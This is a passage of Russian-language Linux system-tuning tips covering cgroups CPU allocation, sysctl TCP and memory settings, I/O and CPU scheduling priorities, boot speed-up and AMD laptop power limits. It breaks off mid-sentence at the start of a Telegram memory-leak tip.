    
    Какое описание технологии может обойтись без терминологии.
    
    Задача (task) - процесс ОС привязанный к определенной группе, все
    его потомки тоже будут наследовать привязку к группе родителя.
    
    Подсистема (subsystem) - это модуль, который позволяет использовать
    некоторые услуги для группу задач. Каждая подсистема может быть прикреплена
    только к одной иерархии.
    
    Настраиваемый параметр (tunable parameter) - это некая
    сущность(представлена файлом в виртуальной ФС cgroups) с помощью которой
    осуществляется взаимодействие с подсистемой.
    
    Иерархия групп (hierarchy) - это множество групп расположенных в
    виде дерева, так что каждая задача в системе находится точно в одной группе в
    иерархии и с заданным множеством(set) подсистем. Каждая группа имеет свои
    настраиваемые параметры, которые соответствуют множеству подсистем специфичному
    для данной иерархии.
    
    Пора переходить к практике. Как это не банально, но чтобы начать работать с
    cgroups необходимо установить приложения для userspace.
    
       aptitude install cgroup-bin
    
    Теперь всё готово, чтобы использовать cgroups. Есть несколько способов
    управлять cgroups: набор специфичных утилит, работа стандартными средствами с
    виртуальной ФС, из собственного программного обеспечения через библиотеку.
    Наиболее подходящий для первоначального знакомства это набор специфичных
    утилит. Конечно можно использовать и стандартные средства и взаимодействовать с
    системой через файлы в виртуальной ФС (echo, cat, mount, и т.д.)
    
    Небольшое отступление. Для того чтобы перейти к практике необходимо определить
    некую "сферическую задачу в вакууме". Такая задача будет звучать так: есть
    система с запущенными веб-контейнером Tomcat и СУБД PostgreSQL, необходимо
    чтобы в момент пиковой нагрузки вычислительные ресурсы CPU распределялись по
    заданным правила (Tomcat - 40%, PostgreSQL - 50%, оставшаяся система 10%).
    
    Как уже было упомянуто, есть несколько подходов в работе с cgroups. Мы будем
    использовать специфические утилиты. Для реализации текущей задачи необходимо
    построить иерархию групп, где можно будет настроить распределение
    вычислительных ресурсов CPU. Настройка иерархии осуществляется в файле
    /etc/cgconfig.conf (на самом деле её можно производить на запущенной системе,
    либо специфичными утилитами, либо стандартным походом с mount). Настройки из
    этого файла применяются при старте сервиса cgconfig. Это просто удобный способ
    восстанавливать иерархию cgroups после перезагрузки системы. Итак, конфигурация
    для текущей задачи выглядит следующим образом:
    
       group default {
            perm {
                    task {
                            uid = root;
                            gid = root;
                    }
                    admin {
                            uid = root;
                            gid = root;
                    }
            }
            cpu {
                    cpu.shares = 10;
            }
       }
    
       group daemons/tomcat {
            perm {
                    task {
                            uid = root;
                            gid = root;
                    }
                    admin {
                            uid = root;
                            gid = root;
                    }
            }
            cpu {
                    cpu.shares = 40;
            }
       }
    
       group daemons/postgres {
            perm {
                    task {
                            uid = root;
                            gid = root;
                    }
                    admin {
                            uid = root;
                            gid = root;
                    }
            }
            cpu {
                    cpu.shares = 50;
            }
       }
    
       mount {
            cpu = /mnt/cgroups/cpu;
            cpuacct = /mnt/cgroups/cpu;
       }
    
    Секция mount описывает подключение двух подсистем cpu и cpuacct к иерархии
    /mnt/cgroups/cpu. Секции group настраивают конкретные группы для всей
    системы(sysdefault), tomcat и postgres. В данном случае задаются права для
    административных функций и добавления задач admin и task соответственно.
    Единственный настраиваемый параметр это cpu.shares из подсистемы cpu, который
    определяет долю вычислительных ресурсов CPU, которые достаются группе. Теперь
    можно перезапускать сервис cgconfig в /mnt/cgroups, должна быть следующая иерархия.
    
       /mnt/cgroups/
       └── cpu
           ├── cgroup.procs
           ├── cpuacct.stat
           ├── cpuacct.usage
           ├── cpuacct.usage_percpu
           ├── cpu.shares
           ├── daemons
           │   ├── cgroup.procs
           │   ├── cpuacct.stat
           │   ├── cpuacct.usage
           │   ├── cpuacct.usage_percpu
           │   ├── cpu.shares
           │   ├── notify_on_release
           │   ├── postgres
           │   │   ├── cgroup.procs
           │   │   ├── cpuacct.stat
           │   │   ├── cpuacct.usage
           │   │   ├── cpuacct.usage_percpu
           │   │   ├── cpu.shares
           │   │   ├── notify_on_release
           │   │   └── tasks
           │   ├── tasks
           │   └── tomcat
           │       ├── cgroup.procs
           │       ├── cpuacct.stat
           │       ├── cpuacct.usage
           │       ├── cpuacct.usage_percpu
           │       ├── cpu.shares
           │       ├── notify_on_release
           │       └── tasks
           ├── notify_on_release
           ├── release_agent
           ├── default
           │   ├── cgroup.procs
           │   ├── cpuacct.stat
           │   ├── cpuacct.usage
           │   ├── cpuacct.usage_percpu
           │   ├── cpu.shares
           │   ├── notify_on_release
           │   └── tasks
           └── tasks
       
    Теперь необходимо чтобы процессы запущенные в системе распределялись по нужным
    группам. Это можно сделать с помощью менеджера правил cgred, конфигурационный
    файл которого расположен в /etc/cgrules.conf. Конфигурация для нашей задачи
    представлена ниже:
    
       <user>         <controllers>   <destination>
       *:tomcat        cpu             daemons/tomcat/
       *:postgres      cpu             daemons/postgres/
       *               cpu             default/
    
    Данные правила переносят все процессы с именем tomcat запущенных любым
    пользователем в группу daemons/tomcat, все процессы postgres в группу
    daemons/postgres и все остальные в default. Тем самым обеспечивая выполнения
    поставленной задачи.
    
    Для решения задачи использовалась только одна подсистема cpu, которая отвечает
    за распределение вычислительных ресурсов по группам. Кроме неё в debian по
    умолчанию доступны следующие группы: cpuacct - для отображения потребленных
    ресурсов CPU; cpuset - привязывает группу к конкретному процессору; ns -
    обеспечивает создание именованных пространств в которых допускается
    взаимодействие между процессами и запрещается взаимодействие между процессами
    из разных пространств; devices - позволяет ограничивать доступ к устройствам;
    freezer - позволяет приостанавливать выполнение задач; net_cls - тегирует
    сетевые пакеты, и далее с помощью traffic controller реализуются различные
    правила для этих пакетов.
    
     
    ----* Оптимизация отзывчивости десктоп-системы через использование cgroup в Linux (доп. ссылка 1) (доп. ссылка 2)   Автор: Stax  [комментарии]
     
    По заявлению одного из разработчиков из компании Red Hat добиться эффекта
    существенного повышения отзывчивости десктоп-систем в условиях большой фоновой
    нагрузки, связанной с запуском ресурсоемких задач, можно через использование
    cgroup без дополнительных патчей Linux-ядра. Более того, утверждается что
    cgroup-метод работает даже лучше патча с привязкой групп планирования к TTY.
    
    Метод проверен на Linux-ядре 2.6.32.
    
    В /etc/rc.local добавляем:
    
       mkdir -p /dev/cgroup/cpu
       mount -t cgroup cgroup /dev/cgroup/cpu -o cpu
       mkdir -m 0777 /dev/cgroup/cpu/user
    
    
    В ~/.bashrc:
    
       if [ "$PS1" ] ; then  
            mkdir -m 0700 /dev/cgroup/cpu/user/$$
            echo $$ > /dev/cgroup/cpu/user/$$/tasks
       fi
    
    Для автоматического удаления групп, в которых больше нет процессов:
    
    создать /usr/local/sbin/cgroup_clean
    
       #!/bin/sh
       rmdir /dev/cgroup/$1
    
    в rc.local добавить:
    
       echo "1" > /dev/cgroup/cpu/user/notify_on_release
       echo "/usr/local/sbin/cgroup_clean" > /dev/cgroup/cpu/release_agent
    
     
    ----* Тюнинг нагруженного CentOS севера при помощи ktune (доп. ссылка 1)   [комментарии]
     
    В репозитории CentOS присутствуетпакет ktune, содержащий набор готовых настроек
    для оптимизации работы ядра
    на машинах с большим размером ОЗУ в ситуациях повышенной сетевой и дисковой нагрузки.
    Например, ktune увеличивает размер TCP/IP буферов, включает планировщик ввода/вывода deadline, 
    устанавливает оптимальные значения для pagecache и т.п.
    Полный список настроек можно найти в файлах /etc/sysctl.ktune и /etc/sysconfig/ktune
    
    для активации  необходимо выполнить:
    
       yum install ktune
       chkconfig ktune on
       service ktune start
    
    Устанавливаются следующие sysctl:
    
       # Устанавливаем в 256 Кб размер буферов по умолчанию для приема и отправки данных через сокеты
       net.core.rmem_default = 262144
       net.core.wmem_default = 262144
    
       # Устанавливаем в 8Мб максимальный размер буфера сокетов.
       net.core.rmem_max = 8388608
       net.core.wmem_max = 8388608
    
      # Максимальный размер очереди пакетов для 10 гб или объединенных гигабитных линков
       net.core.netdev_max_backlog = 10000
    
       # Тюнинг буферов для TCP и UDP соединений (для машин с большим объемом ОЗУ)
       net.ipv4.tcp_rmem = 8192 87380 8388608
       net.ipv4.tcp_wmem = 8192 65536 8388608
    
       net.ipv4.udp_rmem_min = 16384
       net.ipv4.udp_wmem_min = 16384
    
       net.ipv4.tcp_mem = 8388608 12582912 16777216
       net.ipv4.udp_mem = 8388608 12582912 16777216
    
       # Понижаем приоритет начала своппинга
       vm.swappiness = 30
    
       # Начинаем принудительно чистить буферы, когда они занимают более 50% размера ОЗУ
       vm.dirty_ratio = 50
    
       # Ограничиваем размер файлового кеша, предотвращая начало свопинга
       vm.pagecache = 90
    
    
    Включаем deadline планировщик для диска sda:
       echo deadline > /sys/block/sda/queue/scheduler
    
     
    ----* Решение проблемы с потерей пакетов в tcpdump в Linux (доп. ссылка 1)   Автор: Kirill Korinsky  [комментарии]
     
    При записи пакетов используя tcpdump на больших скоростях возможна потеря пакетов.
    
    Для 1 гигабита помогли такие изменения в /etc/sysctl.conf:
    
       net.core.rmem_default = 33554432
       net.core.rmem_max = 33554432
       net.core.netdev_max_backlog = 16384
    
     
    ----* Уменьшение времени загрузки Ubuntu Linux (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    1. Уменьшение таймаута в grub,
    
       vi /boot/grub/menu.lst
       timeout=0
    
    или через GUI System -> Administration -> StartUp-Manager
    
    2. Отключаем ненужные сервисы:
    Меню System -> Preferences ->  Sessions (Сеансы)
    
    Например, можно отключить:
       Bluetooth Manager (Менеджер устройств Bluetooth)
       Check for new hardware drivers
       Evolution Alarm Notifier
       Print Queue Applet (Апплет очереди печати)
       Tracker (служба поиска и индексирования)
    
    Меню System -> Administration ->  Services (Службы)
    или через консольную утилиту sysv-rc-conf 
    Можно отключить загрузку редко используемых служб, например, RPC, NFS,
    avahi-daemon, cupsys, apport, ssh.
    
    3. Оптимизация монтирования файловых систем:
    в /etc/fstab добавляем опции "noatime,nodiratime", 
    
    
    4. Уменьшение интенсивности работы с свопом 
    в /etc/sysctl.conf добавляем vm.swappiness=10
    
    5. Включение возможности параллельного старта сервисов на этапе загрузки:
    в /etc/init.d/rc меняем CONCURRENCY=none на CONCURRENCY=shell
    
    6. Кэширование программ и библиотек используемых на этапе инициализации.
    
    Единоразово загружаем Ubuntu с передачей ядру параметра profile, на этапе работы grub, 
    который включает режим профилирования. Грузиться с этим флагом будет заведомо медленнее, 
    но при загрузке с флагом профилирования в Ubunti активируется сервис readahead, 
    который обновляет информацию о всех используемых на этапе загрузки библиотеках и утилитах 
    в файле /etc/readahead/boot, а в /etc/readahead/desktop - информацию о загрузке десктоп окружения. 
    При следующей загрузке сервис readahead, при помощи программы /sbin/readahead-list, 
    загрузит библиотеки и программы, 
    упоминающиеся в индексе, в page cache, что немного уменьшит время загрузки.
    
    7. Отключаем IPv6
    в /etc/modprobe.d/aliases заменяем строку "alias net-pf-10 ipv6" на 
    "alias net-pf-10 off #ipv6".
    
    7. Устанавливаем preload
       sudo apt-get install preload
       в установке prelink нет необходимости, так как в Ubuntu задейстован 
    альтернативный механизм линковки DT_GNU_HASH (http://lwn.net/Articles/192624/), 
    поддерживаемый в Glibc 2.5.
    
    Подробнее о включении prelink и preload см. http://www.opennet.ru/tips/info/1695.shtml
    
     
    ----* Уменьшение времени запуска программ в Ubuntu при помощи prelink и preload (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Prelink позволяет уменьшить время загрузки приложений, слинкованных со
    множеством динамических библиотек,
    путем оптимизации на уровне структуры ELF файла. 
    
    
       aptitude install prelink
       /etc/cron.daily/prelink
    
    
    Preload - другое средство уменьшения времени запуска, основанное на предварительной 
    загрузке в память наиболее интенсивно используемых данных, не дожидаясь непосредственного 
    запуска программы (эффективно для повторных запусков). 
    
       aptitude install preload
    
    Как правило конфигурация по умолчанию (/etc/preload.conf) не требует изменений, 
    но при желании можно обратить внимание на опции:
    
    model.cycle (по умолчанию 20 сек) - как часто будет инициирован анализ
    состояния системы и обновление кэша;
    
    model.halflife ( по умолчанию 168 часов) - через какое время данные в кэше
    будут считаться устаревшими
    (каждый halflife степень актуальности данных в кэше будет уменьшена на 50%);
    
    model.minsize (по умолчанию 2000000 байт) - минимальный объем данных прошедший
    через системные вызовы,
    необходимый для начала оптимизации приложения. Позволяет использовать preload
    только для крупных приложений.
    
    model.memtotal (-10%), model.memfree (100%), model.memcached (30%) - директивы
    определяющие степень использования ОЗУ для хранения кэша.
    Размер кэша рассчитывается по формуле: 
      model.memtotal * размер ОЗУ
      + model.memfree * размер свободной памяти во время запуска preload 
      + model.memcached * размер памяти отведенной под системный кэш (Cached).
    
    Состояние работы preload можно оценить через файл /var/lib/preload/preload.state
    
    Если prelink, как правило, запускается раз в день и модифицирует ELF файлы, 
    то preload оформлен в виде программы-демона, 
    постоянно наблюдающего за интенсивностью запуска программ и на основании 
    собранной статистики загружающего компоненты в память.
    Выигрыш от использования prelink для OpenOffice.org и Firefox около 15-20%, для preload - 50%.
    
     
    ----* Как минимизировать влияние бэкап-скрипта на интенсивность ввода/вывода в Linux (доп. ссылка 1)   [комментарии]
     
    Задача сделать так, чтобы выполнение скрипта для бэкапа не сказывалось на
    производительности приложений
    с интенсивными дисковыми операциями.
    Решение - понижение приоритета скрипта в планировщике ввода/вывода CFQ, который
    включен в Linux ядро,
    начиная с версии 2.6.13, и используется по умолчанию начиная с 2.6.18.
    
    Проверяем, что активный планировщик у нас CFQ:
    
       for d in /sys/block/sd[a-z]/queue/scheduler; do echo "$d => $(cat $d)" ; done
       Видим: /sys/block/sda/queue/scheduler => noop anticipatory deadline [cfq]
    
    Запускаем скрипт бэкапа с пониженным приоритетом:
     
       nice -n 19 ionice -c2 -n7 backup.sh
    
    утилитой nice с самым низким приоритетом вызываем утилиту ionice cо 2  классом планировки (
    1 - real time, 2 - нормальный режим, 3 - работа только в моменты простоя (idle)) 
    и самым низким уровнем приоритета (7).
    
    Если процесс все равно мешает, можем на лету перевести его в idle режим:
    
       ionice -c3 -p 1004
    
    или изменить приоритет планировщика:
       
       renice 19 -p 1004
    
    Где 1004 - PID процесса.
    
     
    ----* Как в Linux привязать процесс к CPU и установить атрибуты планирования (доп. ссылка 1)   [комментарии]
     
    При необходимости увеличить производительность определенного процесса в системе, 
    можно жестко привязать его к определенному CPU (CPU affinity), исключив 
    ситуацию мигрирования между процессорами, а также изменить для него алгоритм работы 
    планировщика задач и увеличить приоритет.
    
    Привязка к CPU осуществляется командой taskset, а изменение параметров  real-time 
    планирования командой chrt. Обе команды можно использовать каскадно, вызывая 
    одну в качестве аргумента другой. 
    
    Например:
    
       taskset -c 2-3 chrt -f 1 <command>
    
    привяжет выполнение команды к CPU со 2 по 3 ("-c 2-3", можно перечислять 
    процессоры через запятую, например, "-c 2,3"), а также задействует политику 
    планирования SCHED_FIFO ("-f") и установит приоритет 1 уровня. 
    
    Политики планирования (описание - man sched_setscheduler):
       -b SCHED_BATCH
       -f SCHED_FIFO 
       -o SCHED_OTHER
       -r SCHED_RR 
    
    Изменение параметров для уже запущенного процесса производится при помощи опции "-p". 
    Например, изменение параметров процесса с PID 123:
       taskset -c 2-3 -p 123
       chrt -f 1 -p 123
    
     
    ----* Оптимизация структуры директорий в файловых системах ext2 и ext3 (доп. ссылка 1)   [обсудить]
     
    Опция "-D" утилиты e2fsck позволяет выполнить переиндексацию при использовании
    dir_index (tune2fs -O +dir_index),
    иначе выполнить перекомпановку с сортировкой (когда было создано или удалено 
    большое количество директорий) и сокращением размера (когда в
    директории было много файлов, а потом их удалили).
    
    Пример запуска (/dev/sdb1 должен быть отмонтирован или переведен в режим только для чтения):
       # e2fsck -D -f /dev/sdb1
    
     
    ----* Ускорение работы сетевого интерфейса в Linux на SMP системах (доп. ссылка 1)   Автор: Kir Kolyshkin  [комментарии]
     
    Если привязать прерывание от сетевой карты на один CPU, то пропускная способность Fast Ethernet 
    возрастает примерно на 15% (измерения проводились на 2.4 ядре, но справедливо и для ядер 2.6).
    
    Определяем прерывание сетевой карты:
       cat /proc/interrupts
    Привязываем к определенному CPU:
       echo 2 > /proc/irq/NNN/smp_affinity
    где NNN -- прерывание от сетевухи, 2 - битовая маска для выборка CPU.
    если сетевухи две, для второй
       echo 4 > /proc/irq/MMM/smp_affinity
    
    Битовые маски: 1 - CPU1, 2 - CPU2, 4 - CPU3 и т.д.
    
    Подробнее см. Documentation/IRQ-affinity.txt
    
    При включении демона irqbalance значения smp_affinity выбираются динамически.
    
     
    ----* Приоритезация ввода/вывода в Linux (доп. ссылка 1)   Автор: Андрей Авраменко  [комментарии]
     
    Приоритеты для использования Disk I/O
    
    С выходом CFQ v3 в Linux 2.6.13 появилась возможность выставлять 
    приоритеты использования дисковой подсистемы для процессов, чего
     раньше так не хватало. Подобно утилите nice для назначение 
    приоритетов использования процессора появилась утилита ionice. 
    
    Синтаксис команды прост: 
    
       ionice -c класс -n приоритет -p PID
    
    Класс: 
    
    3 - Idle - Получает приоритет на использование жесткого диска только 
         когда другие программы ничего не пишут. Приоритеты не используются. 
    
    2 - Best Effort - Класс по-умолчанию. Доступные приоритеты [0-7]. 
    
    1 - Real Time - Дает преимущественный доступ к диску процессу, не
         смотря на другие процессы. Доступные приоритеты [0-7].
    
     
    ----* Как очистить кэш файловой системы в Linux ядре (доп. ссылка 1)   [комментарии]
     
    Начиная с Linux ядра 2.6.16 появилась возможность принудительной очистки системных кэшей:
    
    Чистим pagecache:
       echo 1 > /proc/sys/vm/drop_caches
    
    Чистим dentrie и inode кэши:
       echo 2 > /proc/sys/vm/drop_caches
    
    Чистим pagecache, dentrie и inode кэши:
       echo 3 > /proc/sys/vm/drop_caches
    
    Перед выполнением операции необходимо запустить команду sync
    
     
    ----* Тюнинг TCP стека в Linux (доп. ссылка 1)   [комментарии]
     
    Увеличиваем максимальный размер памяти отводимой для TCP буферов:
    (16Мб на порядок больше, чем нужно, следует экспериментальным путем подобрать 
    оптимальные значения, понеменогу увеличивая параметры заданные по умолчанию)
    
       sysctl -w net.core.rmem_max = 16777216
       sysctl -w net.core.wmem_max = 16777216
    
    Увеличиваем лимиты автотюнинга (min, default, max bytes)
    
       sysctl -w net.ipv4.tcp_rmem = "4096 87380 16777216" 
       sysctl -w net.ipv4.tcp_wmem = "4096 65536 16777216"
    
    Увеличиваем размер очереди пакетов на сетевом интерфейсе, особенно полезно для Gigabit Ethernet:
    
       ifconfig eth0 txqueuelen 1000
    
    
    Особенности Linux ядра 2.4.x:
    Для предотвращения особенности при уменьшении размера окна, из-за повторов передеачи пакетов, 
    для одного соединения, уменьшать на 10 минут размер окна для всех остальных
    соединений к тому же хосту:
    
       sysctl -w net.ipv4.route.flush=1
    
    Особенности Linux ядра 2.6.x:
    
    Запрещаем кеширование статуса ssthresh (были ретрансмиты) для других соединений
    
       sysctl -w net.ipv4.tcp_no_metrics_save = 1
    
    Рекомендуется увеличить размер backlog до 1000 или выше 
    (для 10Gb линка можно поставить 30000):   
    
       sysctl -w  net.core.netdev_max_backlog = 2500
    
    Начиная с ядра 2.6.13 можно менять алгоритм обработки ситуации перегрузки:
    
       sysctl -w net.ipv4.tcp_congestion_control=htcp
         reno: традиционный TCP
         bic: BIC-TCP (для высокоскоростных сетей, быстрое восстановление после потери)
         highspeed: HighSpeed TCP: Sally Floyd's suggested algorithm 
         htcp: Hamilton TCP (для высокоскоростных сетей)
         hybla: для спутниковых линков
         scalable: Scalable TCP 
         vegas: TCP Vegas 
         westwood: для сетей с большой потерей пакетов
    Когда стандартный reno не устраивает рекомендуется попробовать bic или htcp.
    
    Значения параметров тюнинга подробно описаны в документе ip-sysctl.txt в комплекте ядра:
       http://www-didc.lbl.gov/TCP-tuning/ip-sysctl-2.6.txt
    
     
    ----* Привязка процесса к определенному CPU в SMP системе под Linux (доп. ссылка 1)   Автор: nixcraft  [комментарии]
     
    Пример использования жесткой привязки процесса к определенному процессору  (CPU affinity).
    
    Устанавливаем пакет schedutils
    (Debian: apt-get install schedutils, Red Hat: up2date schedutils или rpm -ivh schedutils*)
    
    Привязка процесса с pid 13545 к первому CPU (#0):
       taskset -c 1 -p 13545
    к 3 и 4 CPU (#2 и #3):
       taskset -c 3,4 -p 13545
    
    Загрузку процессоров в SMP системе удобно оценивать через утилиту mpstat из пакета sysstat.
        mpstat -P ALL
    
    Утилизацию подсистемы ввода/вывода можно посмотреть через команду iostat
    
     
    ----* Как преодолеть ограничение в 32 группы на пользователя в Linux   [обсудить]
     
    В 2.2.x и 2.4.x Linux ядрах максимальное число групп в которые может входить
    один пользователь ограничено 32. Для 2.6.x лимит снят.
    Решение - пересборка ядра, при необходимости glibc и других утилит.
    Инструкции:
      http://radu.rendec.ines.ro/howto/32groups.html
      http://www.ussg.iu.edu/hypermail/linux/kernel/9907.1/0074.html
    
     
    ----* Как увеличить максимальное число процессов для 2.2.x Linux ядра   [обсудить]
     
    vi /usr/src/linux/include/linux/tasks.h
      #define NR_TASKS        512
      #define MAX_TASKS_PER_USER (NR_TASKS/2)
    
     
    ----* Чем хороши LVM, ext3, reiserfs и xfs (доп. ссылка 1)   Автор: Денис Смирнов  [комментарии]
     
    LVM - позволяет гибко создавать, удалять и изменять размеры разделов без потери данных. 
    
    ext3 - расширение ext2 для журналирования. Поддерживает журналирование данных,
    а не только метаданных (при data=journal).
    
    reiserfs - высокая скорость работы с каталогами с большим числом файлов,
    компактно хранит хвосты от файлов,
    поддерживает увеличение размера раздела без остановки сервера.
    
    xfs - быстрая работа с файлами большого размера, великолепная надёжность, поддержка ACL.
    
     
    ----* Включение Hyper-Threading scheduler в Linux, для CPU Xeon. (доп. ссылка 1)   [комментарии]
     
    Linux поддерживает Hyper-Threading начиная с ядра 2.4.17. 
       Ядро должно быть собрано как SMP,
       При загрузке, передаем параметр acpismp=force (в lilo: append=" acpismp=force")
        проверка работы: 
    cat /proc/cpuinfo, если среди flags есть "ht", то Hyper-Threading активирован.
    
     
    ----* Как оптимизировать подсистемы распределения памяти в Linux.   [обсудить]
     
    /usr/src/linux/Documenation/sysctl/vm.txt
    /usr/src/linux/Documenation/filesystems/proc.txt
    Параметры для работы демона bdflush (vm.bdflush)
       echo "100 2000 128 512 500 5000 60 0 0" > /proc/sys/vm/bdflush
    Управление объемом ОЗУ (в %) выделенного для системных буфферов (лучше не трогать)
       echo "70 10 60" > /proc/sys/vm/buffermem
    Максимальный размер сегмента shared memory.
       echo 167772160 > /proc/sys/kernel/shmmax # (def: 33554432)
    
     
    ----* Оптимизация TCP/IP стека в Linux для нагруженного сервера.   [комментарии]
     
    /usr/src/linux/Documenation/filesystems/proc.txt
    /usr/src/linux/Documenation/networking/ip-sysctl.txt
    Далее в скобках указаны значения по умолчанию для 2.2.x/2.4.x ядер.
    Если ядро собрано с CONFIG_SYNCOOKIES для защиты от syn флуда (net.ipv4.tcpsyn_cookies)
       echo 1 > /proc/sys/net/ipv4/tcp_syncookies #(0/0)
    Увеличиваем размер backlog очереди (аналог sysctl net.ipv4.tcp_max_syn_backlog).   
       echo 1280 > /proc/sys/net/ipv4/tcp_max_syn_backlog  #(128/1024)
    Число начальных SYN и SYNACK пересылок для TCP соединения (лучше не трогать).
       echo 4 > /proc/sys/net/ipv4/tcp_synack_retries #(x/5)
       echo 4 > /proc/sys/net/ipv4/tcp_syn_retries #(10/5)
    Какие порты использовать в качестве локальных TCP и UDP портов (sysctl net.ipv4.ip_local_port_range).
       echo "16384 61000" > /proc/sys/net/ipv4/ip_local_port_range #(1024 4999/32768 61000)
    Сколько секунд ожидать приема FIN до полного закрытия сокета.
       echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout #(180/60)
    Как часто посылать сообщение о поддержании keep alive соединения.
       echo 1800 > /proc/sys/net/ipv4/tcp_keepalive_time #(7200/7200)
    Сколько пакетов проверки keepalive посылать, прежде чем соединение будет закрыто.
       echo 2 > /proc/sys/net/ipv4/tcp_keepalive_probes #(9/9)
    Запрещаем TCP window scaling (net.ipv4.tcp_window_scaling)
       echo 0 > /proc/sys/net/ipv4/tcp_window_scaling #(1/1)
    Запрещаем selective acknowledgements, RFC2018 (net.ipv4.tcp_sack).
       echo 0 > /proc/sys/net/ipv4/tcp_sack #(1/1)
    Запрещаем TCP timestamps, RFC1323 (net.ipv4.tcp_timestamps)
       echo 0  > /proc/sys/net/ipv4/tcp_timestamps #(1/1)
    Увеличиваем размер буфера для приема и отправки данных через сокеты.
       echo 1048576 > /proc/sys/net/core/rmem_max #(65535/autotune)
       echo 1048576 > /proc/sys/net/core/rmem_default #(65535/autotune)
       echo 1048576 > /proc/sys/net/core/wmem_max #(65535/autotune)
       echo 1048576 > /proc/sys/net/core/wmem_default #(65535/autotune)
    Если не требуется форвадинг пакетов (машина не рутер) выключаем.
    (net.ipv4.ip_forward и  net.ipv4.conf.all.forwarding)
       echo 0 /proc/sys/net/ipv4/ip_forward #(0/0)
       echo 0 /proc/sys/net/ipv4/conf/all/forwarding #(0/0)
    Через какое время убивать соединеие закрытое на нашей стороне (net.ipv4.tcp_orphan_retries)
       echo 1 > /proc/sys/net/ipv4/tcp_orphan_retries #(x/7)
    
     
    ----* Оптимизация дисковой подсистемы в Linux   [обсудить]
     
    man hdparm (например: /sbin/hdparm -c3 -d1 -X34 /dev/hda)
    man elvtune           
    man tune2fs
       echo 128000 > /proc/sys/fs/inode-max # def 16384
       echo 64000 > /proc/sys/fs/file-max  # def 4096 Число одновременно открытых файлов.
      cd /proc/sys/fs/ (в 2.4.x работает автотюнинг)
      /usr/src/linux/Documentation/sysctl/fs.txt
      /usr/src/linux/Documentation/filesystems/proc.txt
    
     
    ----* Как под Linux создать ramdisk большого размера для использования в качестве временного хранилища.   [комментарии]
     
    Советую использовать tmpfs или ramfs
    (разница в том, что данные tmpfs подвержены своппингу, ramfs  создана для
    тестов, а ramdisk всегда хранится в ОЗУ)
    /usr/src/linux/Documentation/filesystems/tmpfs.txt
        mount -t tmpfs -osize=256M /dev/shm1 /mnt1
    Для ramfs:
         mount -t ramfs -omaxsize=256M none /mnt1
    Если желание использовать ramdisk осталось, читаем 
    /usr/src/linux/Documentation/ramdisk.txt
        mkdir /ramdisk
    Для 256Мб ramdisk в lilo.conf добавляем:
        append="ramdisk_size=256000"
    Запускаем lilo и перезагружаем машину.
       mke2fs /dev/ram0
       mount -t -ext2 /dev/ram0 /ramdisk
    
     
    ----* Как увеличить количество shared memory для работы высоконагруженного PostgreSQL   [комментарии]
     
    В linux:
    echo 134217728 >/proc/sys/kernel/shmall
    echo 134217728 >/proc/sys/kernel/shmmax
    В конфиге ядра FreeBSD:
    options         SYSVSHM
    options         SHMMAXPGS=4096
    options         SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)"
    options         SHMMIN=2    
    options         SHMMNI=256
    options         SHMSEG=256  
    options         SYSVSEM     
    options         SEMMAP=512  
    options         SEMMNI=512  
    options         SEMMNS=1024 
    options         SEMMNU=512  
    options         SEMMSL=256  
    options         SEMOPM=256  
    options         SEMUME=64   
    options         SYSVMSG     
    options         MSGMNB=8192 
    options         MSGMNI=256  
    options         MSGSEG=8192 
    options         MSGSSZ=16   
    options         MSGTQL=128  
    options         NMBCLUSTERS=16786
    options         NBUF=2048
    maxusers        512
    
     
    ----* Как сделать ноутбук с APU AMD гораздо тише и холоднее   Автор: Artem S. Tashkinov  [комментарии]
     
    Данная заметка касается владельцев ноутбуков на базе APU AMD поколений Zen
    3/4/5 без дискретной видеокарты. Применима ли она к другим - я проверить не могу.
    
    Итак, по пунктам:
    
    
    1. Уменьшение потребления энергии в idle режиме 
    
    1.1 Качаем, собираем и устанавливаем утилиту RyzenAdj. Возможно, она есть в
    вашем дистрибутиве из коробки - проверьте сами.
    
    1.2 Добавляем в автозапуск системы (rc.local/systemd unit - как вам нравится) следующую команду:
    
       ryzenadj --power-saving
    
    1.3 Возможно (по крайней мере это касается ноутбуков на основе Zen 4), эту
    команду нужно запускать после каждого цикла suspend resume и при отключении
    подключении питания, ибо EC материнской платы сбрасывает состояние
    энергосбережения в обоих случаях.
    
    Данная команда очень немного уменьшает производительность, но вы это не
    заметите. На моём HP ноутбуке с Ryzen 7 7840HS энергопотребление в режиме
    простоя после использования команды падает с ~3.5W до 0.7W.
    
    
    
    2. Уменьшение потребления энергии на задачи, которые не требуют максимальной
    производительности процессора.
    
    К сожалению, новомодный amd-pstate совершенно невменяем касаемо частот, которые
    он выставляет для задач, не требующих максимальной производительности процессора.
    
    Например, просмотр видео с использование аппаратного ускорения заставляет
    процессор висеть примерно на  близкой к максимальной частоте, при этом
    потребление энергии составляет примерно 15 ватт.
    
    Чтобы избежать этого, нужно выполнить следующую команду:
    
       echo balance_performance | sudo tee /sys/devices/system/cpu/cpufreq/*/energy_performance_preference
    
    При её использовании частота падает примерно вдвое, потребление энергии уменьшается примерно до 7W.
    
    Её также можно добавить в автозапуск системы.
    
    
    
    3. Уменьшение максимального энергопотребления и температуры APU.
    
    Команда ryzenadj имеет и другие опции:
    
    --tctl-temp=XX - установка максимальной температуры. Если вы хотите увеличить
    срок службы термопасты и вентилятора, советую уменьшить её. Для себя я выставил
    значение 80.
    
    --stapm-limit=XXXXX - максимальное потребление энергии в милливаттах (1/1000
    ватта), т.е. для 20W следует указывать 20000. Если у вас, например, APU с 54W,
    можно сделать его гораздо тише, выставив значение в 31W.
    
    --fast-limit=XXXXX - максимальное пиковое **кратковременное** потребление энергии в милливаттах.
    
    --slow-limit=XXXXX  - максимальное пиковое **долговременное** потребление энергии в  милливаттах.
    
    Во время автономной работы я запускаю следующую команду:
    
       ryzenadj --tctl-temp=70 --power-saving --stapm-limit=15000 --fast-limit=15000 --slow-limit=10000
    
    К слову сказать, RyzenAdj работает и в Windows.
    
    
    
    Источник: Artem S. Tashkinov (birdie). Если будут вопросы, оставляйте их здесь.
    
     
    ----* Эксперименты по борьбе с утечками памяти Telegram Desktop (доп. ссылка 1)   Автор: nuclight  [комментарии]
     
    Известны жалобы о больших утечках памяти в Telegram Desktop на Linux, не
    наблюдаемых в таких же объемах на других ОС, в частности Windows и FreeBSD. В
    рамках проверки гипотезы о том, что дело в реализации системного аллокатора и
